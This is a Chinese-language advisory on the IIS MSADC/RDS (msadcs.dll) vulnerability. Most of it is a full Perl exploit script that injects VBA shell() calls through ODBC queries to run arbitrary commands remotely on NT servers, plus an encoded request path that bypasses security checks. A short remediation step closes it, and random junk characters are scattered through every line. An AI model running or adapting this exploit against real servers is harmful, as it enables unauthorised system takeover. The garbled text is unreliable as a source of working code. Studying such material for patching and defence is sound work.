IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^[Ua46/" m (\"k&O{ 涉及程序：
6ZgU"!|r Microsoft NT server
cr?7O;, to8X=80-3 描述：
&bqT /H18 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}7G8|54t rV({4cIe9R 详细：
f\;65k_jq 如果你没有时间读详细内容的话，就删除:
fl
Jp4-nx c:\Program Files\Common Files\System\Msadc\msadcs.dll
YJs|c\ eq? 有关的安全问题就没有了。
IC{e E xR"M*%{@0 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
=Cv/Y%DN :{'k@J"| a 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U7xmC 关于利用ODBC远程漏洞的描述，请参看:
+9O5KI? P {
7 4mf'IW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sG~<M"znV 'sp-%YlM - 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
G
a;.a http://www.microsoft.com/security/bulletins/MS99-025faq.asp M L7 \BT Ov-b:l H 这里不再论述。
Gc.P,K/hr ODc9r } 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
;o/>JHGj
Pi%%z
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
E@a3~a 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
_8}Ql T zJ+8FWy:S ,U )"WLmY #将下面这段保存为txt文件，然后: "perl -x 文件名"
]fnnZ T9 <2A1 #!perl
%8aC1x #
nFX_+4V2 # MSADC/RDS 'usage' (aka exploit) script
4RKW #
wn>edn # by rain.forest.puppy
M,j(=hRJ/E #
o!E v;' D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
juAMAplf # beta test and find errors!
dX8hp Q #B'aU#$u use Socket; use Getopt::Std;
m`4R]L] getopts("e:vd:h:XR", \%args);
'B83m#HR# q; 5 i4| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6b8;}],| EzW)'Zzw~ if (!defined $args{h} && !defined $args{R}) {
dk
QaM@ print qq~
!KKT[28v Usage: msadc.pl -h <host> { -d <delay> -X -v }
k^$+n _ -h <host> = host you want to scan (ip or domain)
m6eZ _ &+u -d <seconds> = delay between calls, default 1 second
q0% -X = dump Index Server path table, if available
wn
Y$fT9 -v = verbose
at!Y3VywG -e = external dictionary file for step 5
l ?Y_~Wuw L_ Q#(in Or a -R will resume a command session
d;Hn#2C syx\gz ~; exit;}
W$JebW<z( 9 7%0;a8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
JB</e uyV if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
OQ :dJe6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
oRN-xn g if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%CZ-r"A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}}QT HR if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s#h8%[' Q|}a R:4 if (!defined $args{R}){ $ret = &has_msadc;
53 QfTP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{^{p ,9 QQk{\ PV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
U(& oj e . "cmd /c ";
r8xyd"Axy $in=<STDIN>; chomp $in;
* v8T s $command="cmd /c " . $in ;
~/_9P Fk 3qH QX?a if (defined $args{R}) {&load; exit;}
h9 $ Fx "SN4* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oq-<ob &try_btcustmr;
d;tkJ2@NO 2y0J`!/) print "\nStep 2: Trying to make our own DSN...";
E< 4l#Z< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;;5Uwd'- 1ju#9i`.Wg print "\nStep 3: Trying known DSNs...";
Kzy/ 9 &known_dsn;
Bhp OXqg 6Dws,_UAZ4 print "\nStep 4: Trying known .mdbs...";
0YH+B &known_mdb;
{"*VU3%q "`}~~.q if (defined $args{e}){
ZA~Z1Mro#" print "\nStep 5: Trying dictionary of DSN names...";
v,NHQyk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7Y=cn_
wU d
{ lP print "Sorry Charley...maybe next time?\n";
?:^mBb) T exit;
n?#!VN3 Z>F^C}8f ##############################################################################
C7T(+Wd!, @J[6,$UVu sub sendraw { # ripped and modded from whisker
: Ud[f`t sleep($delay); # it's a DoS on the server! At least on mine...
]u-SL md my ($pstr)=@_;
:&}odx!-!C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#L crI die("Socket problems\n");
DG(7|`(aY if(connect(S,pack "SnA4x8",2,80,$target)){
+y[@ T6_ select(S); $|=1;
q<e&0u4
print $pstr; my @in=<S>;
Vi! Q select(STDOUT); close(S);
Xog/O i return @in;
Js g
I ' } else { die("Can't connect...\n"); }}
;S$Ll*f>D 5yh/0i5 | ##############################################################################
JnD {J`: &a> lWE sub make_header { # make the HTTP request
Y izE5 [* my $msadc=<<EOT
>Sk[vI0Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#)+- lPe User-Agent: ACTIVEDATA
fnzy5+9" Host: $ip
s*M@%_A? Content-Length: $clen
@
\.;b9 Connection: Keep-Alive
"SWMk ! -9P2`XQ^ ADCClientVersion:01.06
,Y_{L| :w Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C>^D*C( { PlK@#UN --!ADM!ROX!YOUR!WORLD!
(%ew604X Content-Type: application/x-varg
TGT$ >/w > Content-Length: $reqlen
@mw "W{ ~ CRSL1? EOT
(lA.3 4.p ; $msadc=~s/\n/\r\n/g;
VCNT4m return $msadc;}
Mro4`GL gLD`wfZR ##############################################################################
)G^TW '9 1F[L"W;r sub make_req { # make the RDS request
bTmL5}n my ($switch, $p1, $p2)=@_;
#$S}3
o my $req=""; my $t1, $t2, $query, $dsn;
; :&?=d V BoMT:# if ($switch==1){ # this is the btcustmr.mdb query
HCA{p R` $query="Select * from Customers where City=" . make_shell();
-ML6d&cm $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
B,$l4m4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&znH!AQ0 HgBJf~q~U elsif ($switch==2){ # this is general make table query
n[xkSF^) $query="create table AZZ (B int, C varchar(10))";
$BN15x0/:~ $dsn="$p1";}
+\`vq"e W@L3+4 elsif ($switch==3){ # this is general exploit table query
[um&X=1V8 $query="select * from AZZ where C=" . make_shell();
TDK@)mP $dsn="$p1";}
wWW~_zP0 Q.-*7h8 elsif ($switch==4){ # attempt to hork file info from index server
*ck}|RhR $query="select path from scope()";
YZ#V#[j'^ $dsn="Provider=MSIDXS;";}
e]+OO
g& qG8s;_G elsif ($switch==5){ # bad query
Zp `T $query="select";
~d>%,?z z $dsn="$p1";}
MKGS`X] <J C .a5RF0 $t1= make_unicode($query);
TT!ET<ciN $t2= make_unicode($dsn);
*}b]rjsj $req = "\x02\x00\x03\x00";
hP?fMW$V $req.= "\x08\x00" . pack ("S1", length($t1));
^~ =9 $req.= "\x00\x00" . $t1 ;
;Kxbg>U $req.= "\x08\x00" . pack ("S1", length($t2));
bPD)D'Hs $req.= "\x00\x00" . $t2 ;
%(m ]) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I d8wS!W`7 return $req;}
Os),;W0w 4 V}8$p8#<@ ##############################################################################
#m. AN eBB:~,C^q. sub make_shell { # this makes the shell() statement
:1fagaPg return "'|shell(\"$command\")|'";}
oT+(W,G }F1s
tDx ##############################################################################
wJ" ev.A) }Ag|gF!_ sub make_unicode { # quick little function to convert to unicode
SQ(apc}N4 my ($in)=@_; my $out;
1IH[g*f for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
</oY4$ l' return $out;}
_uH 9XGm B:oF;~d/, ##############################################################################
I@7/jUO Z_z#QX>=D sub rdo_success { # checks for RDO return success (this is kludge)
:Z`4j my (@in) = @_; my $base=content_start(@in);
c,5n , i if($in[$base]=~/multipart\/mixed/){
x/TGp?\g return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z MdC return 0;}
Rph%*~' gy _$#e ##############################################################################
_+QwRE P 97~K!'/^+y sub make_dsn { # this makes a DSN for us
W^g'}} ]T my @drives=("c","d","e","f");
_g|acBF print "\nMaking DSN: ";
M=!i>(yG foreach $drive (@drives) {
T{MC-j _T9 print "$drive: ";
Q}vbm4)[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'w<BJTQIL "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<&#+ E%E4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-e`;bX_N) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
-f>'RI95> return 0 if $2 eq "404"; # not found/doesn't exist
/)#8)"`nT if($2 eq "200") {
ziL^M"~2 foreach $line (@results) {
_vYzF+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
x'`"iZO.t } return 0;}
4,1oU|fz 1 M5 -pZ[D ##############################################################################
Y(i?M~3\t r'aY2n^O sub verify_exists {
>]$aoA# my ($page)=@_;
}C6@c1myq- my @results=sendraw("GET $page HTTP/1.0\n\n");
Q7Ij4 return $results[0];}
c?6d2jH. \KM|f9 -b ##############################################################################
F-0UdV k$[{n'\@ sub try_btcustmr {
'F_}xMU my @drives=("c","d","e","f");
}=@zj6AC my @dirs=("winnt","winnt35","winnt351","win","windows");
Qlz Q]:dWC YdOUv|tZC foreach $dir (@dirs) {
P#tvm, print "$dir -> "; # fun status so you can see progress
'V!kL,
9ES foreach $drive (@drives) {
zXre~b03ZS print "$drive: "; # ditto
W cGXp $M $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`BT*,6a $reqlenlen=length( "$reqlen" );
{yq8<? $clen= 206 + $reqlenlen + $reqlen;
qi=3L :c4kBl%gJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
pCt}66k} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#)74X% 4( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
1j 3=o }m Yo2Trh ##############################################################################
$L{7%]7QC D Vw Cx^ sub odbc_error {
_Y-$}KwY! my (@in)=@_; my $base;
FMS2.E my $base = content_start(@in);
&BgU:R, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3%IWGmye4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JSjYC0e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|=3 *;} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3?ba
1F0Nw return $in[$base+4].$in[$base+5].$in[$base+6];}
D@ hmO]5c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
N$Hqa^!'T print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*i? .y*g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
r<(kLpO H% v*D FiCQD ##############################################################################
;D&wh \Da~p9 T& sub verbose {
Y'_ D<Mp my ($in)=@_;
(46U|P(v return if !$verbose;
)6 G+ tU' print STDOUT "\n$in\n";}
E& ]_U$ 4TJ!jDkox ##############################################################################
c~oe, 9 Qa?Q bHc sub save {
-s~p}CQ. my ($p1, $p2, $p3, $p4)=@_;
M9g1d7% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
bX{ PSjD print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
mh8nlB close OUT;}
r %xB8e9 g.&\6^)8p ##############################################################################
*]9XDc]{j1 = +Tsknq sub load {
/O"0L/hc^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^z?=?%{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:+A; TV @p=<IN>; close(IN);
"GB UQ} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
g{&PrE'e9 $target= inet_aton($ip) || die("inet_aton problems");
@}{VM)Fc+ print "Resuming to $ip ...";
bgXc_>T6_y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
XAlD
ww if($p[1]==1) {
bl9E&B/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@f'AWeJ2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
OAyE/Q| my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
JgZdS -~ if (rdo_success(@results)){print "Success!\n";}
oG9SO^v_ else { print "failed\n"; verbose(odbc_error(@results));}}
T/3;NXe6E elsif ($p[1]==3){
3?6 Ber y= if(run_query("$p[3]")){
LQ|<3] print "Success!\n";} else { print "failed\n"; }}
7dx4~dF elsif ($p[1]==4){
3~8AcX@ if(run_query($drvst . "$p[3]")){
k dUc& print "Success!\n"; } else { print "failed\n"; }}
@) ]t8( exit;}
XAGiu;<,= <#!8?o&i ##############################################################################
c{ZqQtfM JG1LS$p^ sub create_table {
}8X:?S
% my ($in)=@_;
r6/<&1[ $reqlen=length( make_req(2,$in,"") ) - 28;
; vhnA$'a $reqlenlen=length( "$reqlen" );
QT JrJD $clen= 206 + $reqlenlen + $reqlen;
p@`4 Qz my @results=sendraw(make_header() . make_req(2,$in,""));
DOA[iT";4 return 1 if rdo_success(@results);
K N|'|2/| my $temp= odbc_error(@results); verbose($temp);
ec,z6v^9 return 1 if $temp=~/Table 'AZZ' already exists/;
!vi4*
@: return 0;}
<kk'v'GW@ `_6@3-% ##############################################################################
+ >Fv*lux 8~rT sub known_dsn {
jh-kCF # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-1dI Zy my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
NF@i#: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
([ E#zrz% "banner", "banners", "ads", "ADCDemo", "ADCTest");
__Vg/C!W p` ^:Q*C" foreach $dSn (@dsns) {
p PU 2ar print ".";
R#r h next if (!is_access("DSN=$dSn"));
.kz(V5 if(create_table("DSN=$dSn")){
4ZSfz#<[z print "$dSn successful\n";
$=X!nQ& Z| if(run_query("DSN=$dSn")){
* , |)~$=> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*s
1D\/H print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ji)%Y5F 3ytx"=B% ##############################################################################
m3 x!*9h yKel|vM# sub is_access {
L2do 2_ my ($in)=@_;
t ;bZc s $reqlen=length( make_req(5,$in,"") ) - 28;
j TG S6{E $reqlenlen=length( "$reqlen" );
n/,rn>k7: $clen= 206 + $reqlenlen + $reqlen;
ci#Zvhtk r my @results=sendraw(make_header() . make_req(5,$in,""));
'lSnyW{ my $temp= odbc_error(@results);
89 ?3,k verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h/fb<jIP1 return 0;}
_S[Rvb1e +^o3}` ##############################################################################
6T5 A31 Q MC[ `<W) u sub run_query {
'2i)#~YO< my ($in)=@_;
l=<F1L z $reqlen=length( make_req(3,$in,"") ) - 28;
g6k&c"%IQ( $reqlenlen=length( "$reqlen" );
N23 +1 h $clen= 206 + $reqlenlen + $reqlen;
Gh chfI. my @results=sendraw(make_header() . make_req(3,$in,""));
Dg];(c+/ return 1 if rdo_success(@results);
-X6\[I:+A my $temp= odbc_error(@results); verbose($temp);
e2_r0I^C return 0;}
3 z{ 5c nATfmUN
L ##############################################################################
UH.}B3H 8{U]ATx'( sub known_mdb {
OGD8Q D my @drives=("c","d","e","f","g");
W6!4Q yn my @dirs=("winnt","winnt35","winnt351","win","windows");
V"D<)VVA my $dir, $drive, $mdb;
&d &oP
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_sCJ 3ZJ F"HI>t)> # this is sparse, because I don't know of many
Xk$l-Zfse my @sysmdbs=( "\\catroot\\icatalog.mdb",
6vp8LNSW "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g) | ++? "\\system32\\certmdb.mdb",
t,r&SrC "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`mHOgS>| odn97,A my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Yqz[sz5+m "\\cfusion\\cfapps\\forums\\forums_.mdb",
")[Q4H ;V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
qyG636i "\\cfusion\\cfapps\\security\\realm_.mdb",
{ "@b` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1RUbY>K#U "\\cfusion\\database\\cfexamples.mdb",
,VcD vZ7 "\\cfusion\\database\\cfsnippets.mdb",
h1 UlLy 8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
wDC/w[4: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1\. zOq# "\\cfusion\\brighttiger\\database\\cleam.mdb",
DJ2]NA$Q* "\\cfusion\\database\\smpolicy.mdb",
*~l gU4 "\\cfusion\\database\cypress.mdb",
& 4I q m( "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
p9 ] 7g% "\\website\\cgi-win\\dbsample.mdb",
9' *ZEl^?D "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
lVp~oZC6[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
j[=_1~u} ); #these are just
SYW= L foreach $drive (@drives) {
:Kc0ak)<n foreach $dir (@dirs){
BnnUUaE foreach $mdb (@sysmdbs) {
]ieA?:0Hi print ".";
Sph"w08 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
AL$ Ty print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2Q'XB if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
n#L2cv~Aj" print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$ ^D(% } else { print "Something's borked. Use verbose next time\n"; }}}}}
zam0(^= *Wo$ $T foreach $drive (@drives) {
!m:PBl5
foreach $mdb (@mdbs) {
SoGLs O+R print ".";
RDZh>K
PG if(create_table($drv . $drive . $dir . $mdb)){
bz@=zLBt print "\n" . $drive . $dir . $mdb . " successful\n";
_(kwD^x6O{ if(run_query($drv . $drive . $dir . $mdb)){
A%8`zR print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>@89k^#Vc } else { print "Something's borked. Use verbose next time\n"; }}}}
D.Cs nfJ }
LY cSMu J <7-,`
##############################################################################
Oi&w_
Z0 2yO)}g FJ sub hork_idx {
~U*N'>'=) print "\nAttempting to dump Index Server tables...\n";
: a!a print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
e4H0<h
}{ $reqlen=length( make_req(4,"","") ) - 28;
e^Wv*OD' $reqlenlen=length( "$reqlen" );
Tvw2py q $clen= 206 + $reqlenlen + $reqlen;
e`2 R{H my @results=sendraw2(make_header() . make_req(4,"",""));
&EJ,k'7$ if (rdo_success(@results)){
GZ[h`FJg/ my $max=@results; my $c; my %d;
^V,/4u for($c=19; $c<$max; $c++){
`lh?Z3W $results[$c]=~s/\x00//g;
*rKv`nva5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
T q; "_s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
R M+K":p $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5*za] $d{"$1$2"}="";}
1xV1#'@[Jd foreach $c (keys %d){ print "$c\n"; }
Nv]/L +i } else {print "Index server doesn't seem to be installed.\n"; }}
QN a3S* k)' z<EL6c ##############################################################################
;9 n8on\ kL2 sJX+ sub dsn_dict {
'n.9qxY; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=0fx6V while(<IN>){
+~.Jw#Hq S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
gm$ ME eC next if (!is_access("DSN=$dSn"));
]@T `q R if(create_table("DSN=$dSn")){
3evfX[V# print "$dSn successful\n";
/j \TmcnU^ if(run_query("DSN=$dSn")){
N!&VBx^z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c0p=/*s( print "Something's borked. Use verbose next time\n";}}}
3o/ a8 print "\n"; close(IN);}
|i} g7 B&j+fi ##############################################################################
(Sp~+#XnF k6X mBBIj- sub sendraw2 { # ripped and modded from whisker
!@1!ld sleep($delay); # it's a DoS on the server! At least on mine...
Mo|5)8_ my ($pstr)=@_;
*n ?:)( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6T _c#G5 die("Socket problems\n");
iL'
]du<wk if(connect(S,pack "SnA4x8",2,80,$target)){
leJ d) { print "Connected. Getting data";
HD|)D5wH| open(OUT,">raw.out"); my @in;
4c@F .I select(S); $|=1; print $pstr;
'E 8Qi'g while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
X_8NW , close(OUT); select(STDOUT); close(S); return @in;
T )]|o+G } else { die("Can't connect...\n"); }}
v!C+W$,T Gw, kC{:C ##############################################################################
tV4aUve 6Rodn Q sub content_start { # this will take in the server headers
~ZN9 E-uL my (@in)=@_; my $c;
D+PUi! for ($c=1;$c<500;$c++) {
Jl, x~d if($in[$c] =~/^\x0d\x0a/){
XKIJ6M~5k if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
DdBr J x else { return $c+1; }}}
>G7U7R}R return -1;} # it should never get here actually
S6Pb V} ..mz!:Zs0 ##############################################################################
BEx^IQ2 - & r{%7 sub funky {
R;2 -/MT- my (@in)=@_; my $error=odbc_error(@in);
D$
z!wV if($error=~/ADO could not find the specified provider/){
C}E
ea~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\
.s".aA exit;}
4;{CR. D if($error=~/A Handler is required/){
Nuq/_x print "\nServer has custom handler filters (they most likely are patched)\n";
XL9lB#v^ exit;}
El} z^e if($error=~/specified Handler has denied Access/){
_%!hkc( print "\nServer has custom handler filters (they most likely are patched)\n";
/omVM u exit;}}
LK~ 0c k7 .?:~s8kB ##############################################################################
}1 ^.A84a ~;Kl/Z sub has_msadc {
Z`M Q+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'J$NW my $base=content_start(@results);
cXH?'q 'vZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
wyM3|%RZ return 0;}
d<e.`dhc /Vc!N)
########################
D~>P/b)v{j an~Kc!Oki !1 R 解决方案：
Z^S!w;eu 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
iOxygs#p 2、移除web 目录: /msadc
